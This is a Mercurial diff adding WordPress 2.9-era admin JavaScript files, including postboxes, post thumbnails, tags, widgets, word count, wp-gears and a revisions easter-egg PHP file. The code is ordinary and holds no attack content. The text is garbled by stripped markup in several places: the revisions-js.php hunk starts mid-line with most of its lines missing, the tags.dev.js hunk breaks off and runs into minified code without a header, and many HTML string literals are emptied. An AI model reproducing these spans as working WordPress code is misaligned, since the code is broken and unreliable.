e=a(this).val(),f,g,h=a("#poststuff");if(h.length){if(e==2){h.addClass("has-right-sidebar");a("#side-sortables").addClass("temp-border")}else{if(e==1){h.removeClass("has-right-sidebar");a("#normal-sortables").append(a("#side-sortables").children(".postbox"))}}}else{for(f=4;(f>e&&f>1);f--){g=a("#"+d(f)+"-sortables");a("#"+d(f-1)+"-sortables").append(g.children(".postbox"));g.parent().hide()}for(f=1;f<=e;f++){g=a("#"+d(f)+"-sortables");if(g.parent().is(":hidden")){g.addClass("temp-border").parent().show()}}a(".postbox-container:visible").css("width",98/e+"%")}postboxes.save_order(c)});function d(e){switch(e){case 1:return"normal";break;case 2:return"side";break;case 3:return"column3";break;case 4:return"column4";break;default:return""}}},init:function(c,b){a.extend(this,b||{});a("#wpbody-content").css("overflow","hidden");a(".meta-box-sortables").sortable({placeholder:"sortable-placeholder",connectWith:".meta-box-sortables",items:".postbox",handle:".hndle",cursor:"move",distance:2,tolerance:"pointer",forcePlaceholderSize:true,helper:"clone",opacity:0.65,start:function(f,d){a("body").css({WebkitUserSelect:"none",KhtmlUserSelect:"none"})},stop:function(f,d){postboxes.save_order(c);d.item.parent().removeClass("temp-border");a("body").css({WebkitUserSelect:"",KhtmlUserSelect:""})}})},save_state:function(d){var b=a(".postbox").filter(".closed").map(function(){return this.id}).get().join(","),c=a(".postbox").filter(":hidden").map(function(){return this.id}).get().join(",");a.post(ajaxurl,{action:"closed-postboxes",closed:b,hidden:c,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:d})},save_order:function(c){var b,d=a(".columns-prefs input:checked").val()||0;b={action:"meta-box-order",_ajax_nonce:a("#meta-box-order-nonce").val(),page_columns:d,page:c};a(".meta-box-sortables").each(function(){b["order["+this.id.split("-")[0]+"]"]=a(this).sortable("toArray").join(",")});a.post(ajaxurl,b)},pbshow:false,pbhide:false}}(jQuery)); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/revisions-js.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/revisions-js.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,36 @@ +PYFGCRL?+|AOEUIDHTNS_:QJKXBMWVZ[]', + 'qwertyuiop[]\\asdfghjkl;\'zxcvbnm,./QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?-=' + ); +} + +$j = esc_url( site_url( '/wp-includes/js/jquery/jquery.js' ) ); +$n = esc_html( $GLOBALS['current_user']->data->display_name ); +$d = str_replace( '$', $redirect, dvortr( "Erb-y n.y ydco dall.b aiacbv Wa ce]-irxajt- dp.u]-$-VIr XajtWzaVv" ) ); + +wp_die( << +html body { font-family: courier, monospace; } +#hal { text-decoration: blink; } + + + +$d + +EOEE +, +dvortr( 'Eabi.p!' ) +); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/set-post-thumbnail.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/set-post-thumbnail.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,21 @@ +function WPSetAsThumbnail(id){ + var $link = jQuery('a#wp-post-thumbnail-' + id); + + $link.text( setPostThumbnailL10n.saving ); + jQuery.post(ajaxurl, { + action:"set-post-thumbnail", post_id: post_id, thumbnail_id: id, cookie: encodeURIComponent(document.cookie) + }, function(str){ + var win = window.dialogArguments || opener || parent || top; + $link.text( setPostThumbnailL10n.setThumbnail ); + if ( str == '0' ) { + alert( setPostThumbnailL10n.error ); + } else { + jQuery('a.wp-post-thumbnail').show(); + $link.text( setPostThumbnailL10n.done ); + $link.fadeOut( 2000 ); + win.WPSetThumbnailID(id); + win.WPSetThumbnailHTML(str); + } + } + ); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/set-post-thumbnail.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/set-post-thumbnail.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +function WPSetAsThumbnail(id){var $link=jQuery("a#wp-post-thumbnail-"+id);$link.text(setPostThumbnailL10n.saving);jQuery.post(ajaxurl,{action:"set-post-thumbnail",post_id:post_id,thumbnail_id:id,cookie:encodeURIComponent(document.cookie)},function(str){var win=window.dialogArguments||opener||parent||top;$link.text(setPostThumbnailL10n.setThumbnail);if(str=="0"){alert(setPostThumbnailL10n.error)}else{jQuery("a.wp-post-thumbnail").show();$link.text(setPostThumbnailL10n.done);$link.fadeOut(2000);win.WPSetThumbnailID(id);win.WPSetThumbnailHTML(str)}})}; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/tags.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/tags.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,45 @@ +jQuery(document).ready(function($) { + + $('.delete-tag').live('click', function(e){ + var t = $(this), tr = t.parents('tr'), r = true, data; + if ( 'undefined' != showNotice ) + r = showNotice.warn(); + if ( r ) { + data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag'); + $.post(ajaxurl, data, function(r){ + if ( '1' == r ) { + $('#ajax-response').empty(); + tr.fadeOut('normal', function(){ tr.remove(); }); + } else if ( '-1' == r ) { + $('#ajax-response').empty().append('

    ' + tagsl10n.noPerm + '

    '); + tr.children().css('backgroundColor', ''); + } else { + $('#ajax-response').empty().append('

    ' + tagsl10n.broken + '

    '); + tr.children().css('backgroundColor', ''); + } + }); + tr.children().css('backgroundColor', '#f33'); + } + return false; + }); + + $('#submit').click(function(){ + var form = $(this).parents('form'); + + if ( !validateForm( form ) ) + return false; + + $.post(ajaxurl, $('#addtag').serialize(), function(r){ + if ( r.indexOf('

    '+tagsl10n.noPerm+"

    ");f.children().css("backgroundColor","")}else{a("#ajax-response").empty().append('

    '+tagsl10n.broken+"

    ");f.children().css("backgroundColor","")}}});f.children().css("backgroundColor","#f33")}return false});a("#submit").click(function(){var b=a(this).parents("form");if(!validateForm(b)){return false}a.post(ajaxurl,a("#addtag").serialize(),function(c){if(c.indexOf('
    ' + text + ''; + } else { + text = $(this).attr('title') || ''; + link = '  ' + text + ''; + } + + $('#TB_title').css({'background-color':'#222','color':'#dfdfdf'}); + $('#TB_closeAjaxWindow').css({'float':'left'}); + $('#TB_ajaxWindowTitle').css({'float':'right'}).html(link); + + $('#TB_iframeContent').width('100%'); + thickDims(); + return false; + } ); + + // Theme details + $('.theme-detail').click(function () { + $(this).siblings('.themedetaildiv').toggle(); + return false; + }); + +}); + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/theme-preview.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/theme-preview.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var thickDims,tbWidth,tbHeight;jQuery(document).ready(function(a){thickDims=function(){var f=a("#TB_window"),d=a(window).height(),b=a(window).width(),c,e;c=(tbWidth&&tbWidth'+f+""}else{f=a(this).attr("title")||"";e='  '+f+""}a("#TB_title").css({"background-color":"#222",color:"#dfdfdf"});a("#TB_closeAjaxWindow").css({"float":"left"});a("#TB_ajaxWindowTitle").css({"float":"right"}).html(e);a("#TB_iframeContent").width("100%");thickDims();return false});a(".theme-detail").click(function(){a(this).siblings(".themedetaildiv").toggle();return false})}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/user-profile.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/user-profile.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,52 @@ +(function($){ + + function check_pass_strength() { + var pass = $('#pass1').val(), user = $('#user_login').val(), strength; + + $('#pass-strength-result').removeClass('short bad good strong'); + if ( ! pass ) { + $('#pass-strength-result').html( pwsL10n.empty ); + return; + } + + strength = passwordStrength(pass, user); + + switch ( strength ) { + case 2: + $('#pass-strength-result').addClass('bad').html( pwsL10n['bad'] ); + break; + case 3: + $('#pass-strength-result').addClass('good').html( pwsL10n['good'] ); + break; + case 4: + $('#pass-strength-result').addClass('strong').html( pwsL10n['strong'] ); + break; + default: + $('#pass-strength-result').addClass('short').html( pwsL10n['short'] ); + } + } + + $(document).ready( function() { + $('#pass1').val('').keyup( check_pass_strength ); + $('.color-palette').click(function(){$(this).siblings('input[name=admin_color]').attr('checked', 'checked')}); + $('#nickname').blur(function(){ + var str = $(this).val() || $('#user_login').val(); + $('#display_name #display_nickname').val(str).html(str); + }); + $('#first_name, #last_name').blur(function(){ + var first = $('#first_name').val(), last = $('#last_name').val(); + $('#display_firstname, #display_lastname, #display_firstlast, #display_lastfirst').remove(); + if ( first && last ) { + $('#display_name').append('' + + '' + + '' + + ''); + } else if ( first && !last ) { + $('#display_name').append(''); + } else if ( !first && last ) { + $('#display_name').append(''); + } + }); + }); + +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/user-profile.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/user-profile.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(a){function b(){var d=a("#pass1").val(),c=a("#user_login").val(),e;a("#pass-strength-result").removeClass("short bad good strong");if(!d){a("#pass-strength-result").html(pwsL10n.empty);return}e=passwordStrength(d,c);switch(e){case 2:a("#pass-strength-result").addClass("bad").html(pwsL10n.bad);break;case 3:a("#pass-strength-result").addClass("good").html(pwsL10n.good);break;case 4:a("#pass-strength-result").addClass("strong").html(pwsL10n.strong);break;default:a("#pass-strength-result").addClass("short").html(pwsL10n["short"])}}a(document).ready(function(){a("#pass1").val("").keyup(b);a(".color-palette").click(function(){a(this).siblings("input[name=admin_color]").attr("checked","checked")});a("#nickname").blur(function(){var c=a(this).val()||a("#user_login").val();a("#display_name #display_nickname").val(c).html(c)});a("#first_name, #last_name").blur(function(){var d=a("#first_name").val(),c=a("#last_name").val();a("#display_firstname, #display_lastname, #display_firstlast, #display_lastfirst").remove();if(d&&c){a("#display_name").append('")}else{if(d&&!c){a("#display_name").append('")}else{if(!d&&c){a("#display_name").append('")}}}})})})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/utils.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/utils.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,166 @@ +// utility functions +function convertEntities(o) { + var c, v; + c = function(s) { + if (/&[^;]+;/.test(s)) { + var e = document.createElement("div"); + e.innerHTML = s; + return !e.firstChild ? s : e.firstChild.nodeValue; + } + return s; + } + + if ( typeof o === 'string' ) { + return c(o); + } else if ( typeof o === 'object' ) { + for (v in o) { + if ( typeof o[v] === 'string' ) { + o[v] = c(o[v]); + } + } + } + return o; +} + +var wpCookies = { +// The following functions are from Cookie.js class in TinyMCE, Moxiecode, used under LGPL. + + each : function(o, cb, s) { + var n, l; + + if (!o) + return 0; + + s = s || o; + + if (typeof(o.length) != 'undefined') { + for (n=0, l = o.length; n 250 && inside.closest('div.widgets-sortables').length ) { + css['width'] = w + 30 + 'px'; + if ( inside.closest('div.widget-liquid-right').length ) + css['marginLeft'] = 235 - w + 'px'; + widget.css(css); + } + wpWidgets.fixLabels(widget); + inside.slideDown('fast'); + } else { + inside.slideUp('fast', function() { + widget.css({'width':'','marginLeft':''}); + }); + } + return false; + }); + + $('input.widget-control-save').live('click', function(){ + wpWidgets.save( $(this).closest('div.widget'), 0, 1, 0 ); + return false; + }); + + $('a.widget-control-remove').live('click', function(){ + wpWidgets.save( $(this).closest('div.widget'), 1, 1, 0 ); + return false; + }); + + $('a.widget-control-close').live('click', function(){ + wpWidgets.close( $(this).closest('div.widget') ); + return false; + }); + + sidebars.children('.widget').each(function() { + wpWidgets.appendTitle(this); + if ( $('p.widget-error', this).length ) + $('a.widget-action', this).click(); + }); + + $('#widget-list').children('.widget').draggable({ + connectToSortable: 'div.widgets-sortables', + handle: '> .widget-top > .widget-title', + distance: 2, + helper: 'clone', + zIndex: 5, + containment: 'document', + start: function(e,ui) { + wpWidgets.fixWebkit(1); + ui.helper.find('div.widget-description').hide(); + }, + stop: function(e,ui) { + if ( rem ) + $(rem).hide(); + rem = ''; + wpWidgets.fixWebkit(); + } + }); + + sidebars.sortable({ + placeholder: 'widget-placeholder', + items: '> .widget', + handle: '> .widget-top > .widget-title', + cursor: 'move', + distance: 2, + containment: 'document', + start: function(e,ui) { + wpWidgets.fixWebkit(1); + ui.item.children('.widget-inside').hide(); + ui.item.css({'marginLeft':'','width':''}); + }, + stop: function(e,ui) { + if ( ui.item.hasClass('ui-draggable') ) + ui.item.draggable('destroy'); + + if ( ui.item.hasClass('deleting') ) { + wpWidgets.save( ui.item, 1, 0, 1 ); // delete widget + ui.item.remove(); + return; + } + + var add = ui.item.find('input.add_new').val(), + n = ui.item.find('input.multi_number').val(), + id = ui.item.attr('id'), + sb = $(this).attr('id'); + + ui.item.css({'marginLeft':'','width':''}); + wpWidgets.fixWebkit(); + if ( add ) { + if ( 'multi' == add ) { + ui.item.html( ui.item.html().replace(/<[^<>]+>/g, function(m){ return m.replace(/__i__|%i%/g, n); }) ); + ui.item.attr( 'id', id.replace(/__i__|%i%/g, n) ); + n++; + $('div#' + id).find('input.multi_number').val(n); + } else if ( 'single' == add ) { + ui.item.attr( 'id', 'new-' + id ); + rem = 'div#' + id; + } + wpWidgets.save( ui.item, 0, 0, 1 ); + ui.item.find('input.add_new').val(''); + ui.item.find('a.widget-action').click(); + return; + } + wpWidgets.saveOrder(sb); + }, + receive: function(e,ui) { + if ( !$(this).is(':visible') ) + $(this).sortable('cancel'); + } + }).sortable('option', 'connectWith', 'div.widgets-sortables').parent().filter('.closed').children('.widgets-sortables').sortable('disable'); + + $('#available-widgets').droppable({ + tolerance: 'pointer', + accept: function(o){ + return $(o).parent().attr('id') != 'widget-list'; + }, + drop: function(e,ui) { + ui.draggable.addClass('deleting'); + $('#removing-widget').hide().children('span').html(''); + }, + over: function(e,ui) { + ui.draggable.addClass('deleting'); + $('div.widget-placeholder').hide(); + + if ( ui.draggable.hasClass('ui-sortable-helper') ) + $('#removing-widget').show().children('span') + .html( ui.draggable.find('div.widget-title').children('h4').html() ); + }, + out: function(e,ui) { + ui.draggable.removeClass('deleting'); + $('div.widget-placeholder').show(); + $('#removing-widget').hide().children('span').html(''); + } + }); + }, + + saveOrder : function(sb) { + if ( sb ) + $('#' + sb).closest('div.widgets-holder-wrap').find('img.ajax-feedback').css('visibility', 'visible'); + + var a = { + action: 'widgets-order', + savewidgets: $('#_wpnonce_widgets').val(), + sidebars: [] + }; + + $('div.widgets-sortables').each( function() { + a['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(','); + }); + + $.post( ajaxurl, a, function() { + $('img.ajax-feedback').css('visibility', 'hidden'); + }); + + this.resize(); + }, + + save : function(widget, del, animate, order) { + var sb = widget.closest('div.widgets-sortables').attr('id'), data = widget.find('form').serialize(), a; + widget = $(widget); + $('.ajax-feedback', widget).css('visibility', 'visible'); + + a = { + action: 'save-widget', + savewidgets: $('#_wpnonce_widgets').val(), + sidebar: sb + }; + + if ( del ) + a['delete_widget'] = 1; + + data += '&' + $.param(a); + + $.post( ajaxurl, data, function(r){ + var id; + + if ( del ) { + if ( !$('input.widget_number', widget).val() ) { + id = $('input.widget-id', widget).val(); + $('#available-widgets').find('input.widget-id').each(function(){ + if ( $(this).val() == id ) + $(this).closest('div.widget').show(); + }); + } + + if ( animate ) { + order = 0; + widget.slideUp('fast', function(){ + $(this).remove(); + wpWidgets.saveOrder(); + }); + } else { + widget.remove(); + wpWidgets.resize(); + } + } else { + $('.ajax-feedback').css('visibility', 'hidden'); + if ( r && r.length > 2 ) { + $('div.widget-content', widget).html(r); + wpWidgets.appendTitle(widget); + wpWidgets.fixLabels(widget); + } + } + if ( order ) + wpWidgets.saveOrder(); + }); + }, + + appendTitle : function(widget) { + var title = $('input[id*="-title"]', widget); + if ( title = title.val() ) { + title = title.replace(/<[^<>]+>/g, '').replace(//g, '>'); + $(widget).children('.widget-top').children('.widget-title').children() + .children('.in-widget-title').html(': ' + title); + } + }, + + resize : function() { + $('div.widgets-sortables').not('#wp_inactive_widgets').each(function(){ + var h = 50, H = $(this).children('.widget').length; + h = h + parseInt(H * 48, 10); + $(this).css( 'minHeight', h + 'px' ); + }); + }, + + fixWebkit : function(n) { + n = n ? 'none' : ''; + $('body').css({ + WebkitUserSelect: n, + KhtmlUserSelect: n + }); + }, + + fixLabels : function(widget) { + widget.children('.widget-inside').find('label').each(function(){ + var f = $(this).attr('for'); + if ( f && f == $('input', this).attr('id') ) + $(this).removeAttr('for'); + }); + }, + + close : function(widget) { + widget.children('.widget-inside').slideUp('fast', function(){ + widget.css({'width':'','marginLeft':''}); + }); + } +}; + +$(document).ready(function($){ wpWidgets.init(); }); + +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/widgets.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/widgets.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var wpWidgets;(function(a){wpWidgets={init:function(){var c,b=a("div.widgets-sortables");a("#widgets-right").children(".widgets-holder-wrap").children(".sidebar-name").click(function(){var e=a(this).siblings(".widgets-sortables"),d=a(this).parent();if(!d.hasClass("closed")){e.sortable("disable");d.addClass("closed")}else{d.removeClass("closed");e.sortable("enable").sortable("refresh")}});a("#widgets-left").children(".widgets-holder-wrap").children(".sidebar-name").click(function(){a(this).siblings(".widget-holder").parent().toggleClass("closed")});b.not("#wp_inactive_widgets").each(function(){var e=50,d=a(this).children(".widget").length;e=e+parseInt(d*48,10);a(this).css("minHeight",e+"px")});a("a.widget-action").live("click",function(){var f={},g=a(this).closest("div.widget"),d=g.children(".widget-inside"),e=parseInt(g.find("input.widget-width").val(),10);if(d.is(":hidden")){if(e>250&&d.closest("div.widgets-sortables").length){f.width=e+30+"px";if(d.closest("div.widget-liquid-right").length){f.marginLeft=235-e+"px"}g.css(f)}wpWidgets.fixLabels(g);d.slideDown("fast")}else{d.slideUp("fast",function(){g.css({width:"",marginLeft:""})})}return false});a("input.widget-control-save").live("click",function(){wpWidgets.save(a(this).closest("div.widget"),0,1,0);return false});a("a.widget-control-remove").live("click",function(){wpWidgets.save(a(this).closest("div.widget"),1,1,0);return false});a("a.widget-control-close").live("click",function(){wpWidgets.close(a(this).closest("div.widget"));return false});b.children(".widget").each(function(){wpWidgets.appendTitle(this);if(a("p.widget-error",this).length){a("a.widget-action",this).click()}});a("#widget-list").children(".widget").draggable({connectToSortable:"div.widgets-sortables",handle:"> .widget-top > .widget-title",distance:2,helper:"clone",zIndex:5,containment:"document",start:function(f,d){wpWidgets.fixWebkit(1);d.helper.find("div.widget-description").hide()},stop:function(f,d){if(c){a(c).hide()}c="";wpWidgets.fixWebkit()}});b.sortable({placeholder:"widget-placeholder",items:"> .widget",handle:"> .widget-top > .widget-title",cursor:"move",distance:2,containment:"document",start:function(f,d){wpWidgets.fixWebkit(1);d.item.children(".widget-inside").hide();d.item.css({marginLeft:"",width:""})},stop:function(g,d){if(d.item.hasClass("ui-draggable")){d.item.draggable("destroy")}if(d.item.hasClass("deleting")){wpWidgets.save(d.item,1,0,1);d.item.remove();return}var f=d.item.find("input.add_new").val(),j=d.item.find("input.multi_number").val(),i=d.item.attr("id"),h=a(this).attr("id");d.item.css({marginLeft:"",width:""});wpWidgets.fixWebkit();if(f){if("multi"==f){d.item.html(d.item.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,j)}));d.item.attr("id",i.replace(/__i__|%i%/g,j));j++;a("div#"+i).find("input.multi_number").val(j)}else{if("single"==f){d.item.attr("id","new-"+i);c="div#"+i}}wpWidgets.save(d.item,0,0,1);d.item.find("input.add_new").val("");d.item.find("a.widget-action").click();return}wpWidgets.saveOrder(h)},receive:function(f,d){if(!a(this).is(":visible")){a(this).sortable("cancel")}}}).sortable("option","connectWith","div.widgets-sortables").parent().filter(".closed").children(".widgets-sortables").sortable("disable");a("#available-widgets").droppable({tolerance:"pointer",accept:function(d){return a(d).parent().attr("id")!="widget-list"},drop:function(f,d){d.draggable.addClass("deleting");a("#removing-widget").hide().children("span").html("")},over:function(f,d){d.draggable.addClass("deleting");a("div.widget-placeholder").hide();if(d.draggable.hasClass("ui-sortable-helper")){a("#removing-widget").show().children("span").html(d.draggable.find("div.widget-title").children("h4").html())}},out:function(f,d){d.draggable.removeClass("deleting");a("div.widget-placeholder").show();a("#removing-widget").hide().children("span").html("")}})},saveOrder:function(c){if(c){a("#"+c).closest("div.widgets-holder-wrap").find("img.ajax-feedback").css("visibility","visible")}var b={action:"widgets-order",savewidgets:a("#_wpnonce_widgets").val(),sidebars:[]};a("div.widgets-sortables").each(function(){b["sidebars["+a(this).attr("id")+"]"]=a(this).sortable("toArray").join(",")});a.post(ajaxurl,b,function(){a("img.ajax-feedback").css("visibility","hidden")});this.resize()},save:function(g,d,e,b){var h=g.closest("div.widgets-sortables").attr("id"),f=g.find("form").serialize(),c;g=a(g);a(".ajax-feedback",g).css("visibility","visible");c={action:"save-widget",savewidgets:a("#_wpnonce_widgets").val(),sidebar:h};if(d){c.delete_widget=1}f+="&"+a.param(c);a.post(ajaxurl,f,function(i){var j;if(d){if(!a("input.widget_number",g).val()){j=a("input.widget-id",g).val();a("#available-widgets").find("input.widget-id").each(function(){if(a(this).val()==j){a(this).closest("div.widget").show()}})}if(e){b=0;g.slideUp("fast",function(){a(this).remove();wpWidgets.saveOrder()})}else{g.remove();wpWidgets.resize()}}else{a(".ajax-feedback").css("visibility","hidden");if(i&&i.length>2){a("div.widget-content",g).html(i);wpWidgets.appendTitle(g);wpWidgets.fixLabels(g)}}if(b){wpWidgets.saveOrder()}})},appendTitle:function(b){var c=a('input[id*="-title"]',b);if(c=c.val()){c=c.replace(/<[^<>]+>/g,"").replace(//g,">");a(b).children(".widget-top").children(".widget-title").children().children(".in-widget-title").html(": "+c)}},resize:function(){a("div.widgets-sortables").not("#wp_inactive_widgets").each(function(){var c=50,b=a(this).children(".widget").length;c=c+parseInt(b*48,10);a(this).css("minHeight",c+"px")})},fixWebkit:function(b){b=b?"none":"";a("body").css({WebkitUserSelect:b,KhtmlUserSelect:b})},fixLabels:function(b){b.children(".widget-inside").find("label").each(function(){var c=a(this).attr("for");if(c&&c==a("input",this).attr("id")){a(this).removeAttr("for")}})},close:function(b){b.children(".widget-inside").slideUp("fast",function(){b.css({width:"",marginLeft:""})})}};a(document).ready(function(b){wpWidgets.init()})})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/word-count.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/word-count.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,39 @@ +// Word count +(function($) { + wpWordCount = { + + init : function() { + var t = this, last = 0, co = $('#content'); + + $('#wp-word-count').html( wordCountL10n.count.replace( /%d/, '0' ) ); + t.block = 0; + t.wc(co.val()); + co.keyup( function(e) { + if ( e.keyCode == last ) return true; + if ( 13 == e.keyCode || 8 == last || 46 == last ) t.wc(co.val()); + last = e.keyCode; + return true; + }); + }, + + wc : function(tx) { + var t = this, w = $('#word-count'), tc = 0; + + if ( t.block ) return; + t.block = 1; + + setTimeout( function() { + if ( tx ) { + tx = tx.replace( /<.[^<>]*?>/g, ' ' ).replace( / | /gi, ' ' ); + tx = tx.replace( /[0-9.(),;:!?%#$¿'"_+=\\/-]*/g, '' ); + tx.replace( /\S\s+/g, function(){tc++;} ); + } + w.html(tc.toString()); + + setTimeout( function() { t.block = 0; }, 2000 ); + }, 1 ); + } + } + + $(document).ready( function(){ wpWordCount.init(); } ); +}(jQuery)); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/word-count.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/word-count.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(a){wpWordCount={init:function(){var b=this,c=0,d=a("#content");a("#wp-word-count").html(wordCountL10n.count.replace(/%d/,'0'));b.block=0;b.wc(d.val());d.keyup(function(f){if(f.keyCode==c){return true}if(13==f.keyCode||8==c||46==c){b.wc(d.val())}c=f.keyCode;return true})},wc:function(d){var e=this,c=a("#word-count"),b=0;if(e.block){return}e.block=1;setTimeout(function(){if(d){d=d.replace(/<.[^<>]*?>/g," ").replace(/ | /gi," ");d=d.replace(/[0-9.(),;:!?%#$¿'"_+=\\/-]*/g,"");d.replace(/\S\s+/g,function(){b++})}c.html(b.toString());setTimeout(function(){e.block=0},2000)},1)}};a(document).ready(function(){wpWordCount.init()})}(jQuery)); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/wp-gears.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/wp-gears.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,100 @@ + +var wpGears = { + + createStore : function() { + if ( 'undefined' == typeof google || ! google.gears ) return; + + if ( 'undefined' == typeof localServer ) + localServer = google.gears.factory.create("beta.localserver"); + + store = localServer.createManagedStore(this.storeName()); + store.manifestUrl = "gears-manifest.php"; + store.checkForUpdate(); + this.message(3); + }, + + getPermission : function() { + var perm = true; + + if ( 'undefined' != typeof google && google.gears ) { + if ( ! google.gears.factory.hasPermission ) + perm = google.gears.factory.getPermission( 'WordPress', 'images/logo.gif' ); + + if ( perm ) + try { this.createStore(); } catch(e) { this.message(); } // silence if canceled + else + this.message(4); + } + }, + + storeName : function() { + var name, host = window.location.host; + + if ( host.match(/[^a-z0-9._-]/i) ) + host = encodeURIComponent(host); + + name = window.location.protocol + host; + name = name.replace(/[^a-z0-9._-]+/gi, '_'); + name = 'wp_' + name.substring(0, 60); // max length of name is 64 chars + + return name; + }, + + message : function(show) { + var t = this, msg1 = t.I('gears-msg1'), msg2 = t.I('gears-msg2'), msg3 = t.I('gears-msg3'), msg4 = t.I('gears-msg4'), num = t.I('gears-upd-number'), wait = t.I('gears-wait'); + + if ( ! msg1 ) return; + + if ( 'undefined' != typeof google && google.gears ) { + if ( show && show == 4 ) { + msg1.style.display = msg2.style.display = msg3.style.display = 'none'; + msg4.style.display = 'block'; + } else if ( google.gears.factory.hasPermission ) { + msg1.style.display = msg2.style.display = msg4.style.display = 'none'; + msg3.style.display = 'block'; + + if ( 'undefined' == typeof store ) + t.createStore(); + + store.oncomplete = function(){wait.innerHTML = (' ' + wpGearsL10n.updateCompleted);}; + store.onerror = function(){wait.innerHTML = (' ' + wpGearsL10n.error + ' ' + store.lastErrorMessage);}; + store.onprogress = function(e){if(num) num.innerHTML = (' ' + e.filesComplete + ' / ' + e.filesTotal);}; + } else { + msg1.style.display = msg3.style.display = msg4.style.display = 'none'; + msg2.style.display = 'block'; + } + } + }, + + I : function(id) { + return document.getElementById(id); + } +}; + +(function() { + if ( 'undefined' != typeof google && google.gears ) return; + + var gf = false; + if ( 'undefined' != typeof GearsFactory ) { + gf = new GearsFactory(); + } else { + try { + gf = new ActiveXObject('Gears.Factory'); + if ( factory.getBuildInfo().indexOf('ie_mobile') != -1 ) + gf.privateSetGlobalObject(this); + } catch (e) { + if ( ( 'undefined' != typeof navigator.mimeTypes ) && navigator.mimeTypes['application/x-googlegears'] ) { + gf = document.createElement("object"); + gf.style.display = "none"; + gf.width = 0; + gf.height = 0; + gf.type = "application/x-googlegears"; + document.documentElement.appendChild(gf); + } + } + } + + if ( ! gf ) return; + if ( 'undefined' == typeof google ) google = {}; + if ( ! google.gears ) google.gears = { factory : gf }; +})(); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/wp-gears.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/wp-gears.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var wpGears={createStore:function(){if("undefined"==typeof google||!google.gears){return}if("undefined"==typeof localServer){localServer=google.gears.factory.create("beta.localserver")}store=localServer.createManagedStore(this.storeName());store.manifestUrl="gears-manifest.php";store.checkForUpdate();this.message(3)},getPermission:function(){var a=true;if("undefined"!=typeof google&&google.gears){if(!google.gears.factory.hasPermission){a=google.gears.factory.getPermission("WordPress","images/logo.gif")}if(a){try{this.createStore()}catch(b){this.message()}}else{this.message(4)}}},storeName:function(){var a,b=window.location.host;if(b.match(/[^a-z0-9._-]/i)){b=encodeURIComponent(b)}a=window.location.protocol+b;a=a.replace(/[^a-z0-9._-]+/gi,"_");a="wp_"+a.substring(0,60);return a},message:function(a){var d=this,g=d.I("gears-msg1"),f=d.I("gears-msg2"),e=d.I("gears-msg3"),c=d.I("gears-msg4"),b=d.I("gears-upd-number"),h=d.I("gears-wait");if(!g){return}if("undefined"!=typeof google&&google.gears){if(a&&a==4){g.style.display=f.style.display=e.style.display="none";c.style.display="block"}else{if(google.gears.factory.hasPermission){g.style.display=f.style.display=c.style.display="none";e.style.display="block";if("undefined"==typeof store){d.createStore()}store.oncomplete=function(){h.innerHTML=(" "+wpGearsL10n.updateCompleted)};store.onerror=function(){h.innerHTML=(" "+wpGearsL10n.error+" "+store.lastErrorMessage)};store.onprogress=function(i){if(b){b.innerHTML=(" "+i.filesComplete+" / "+i.filesTotal)}}}else{g.style.display=e.style.display=c.style.display="none";f.style.display="block"}}}},I:function(a){return document.getElementById(a)}};(function(){if("undefined"!=typeof 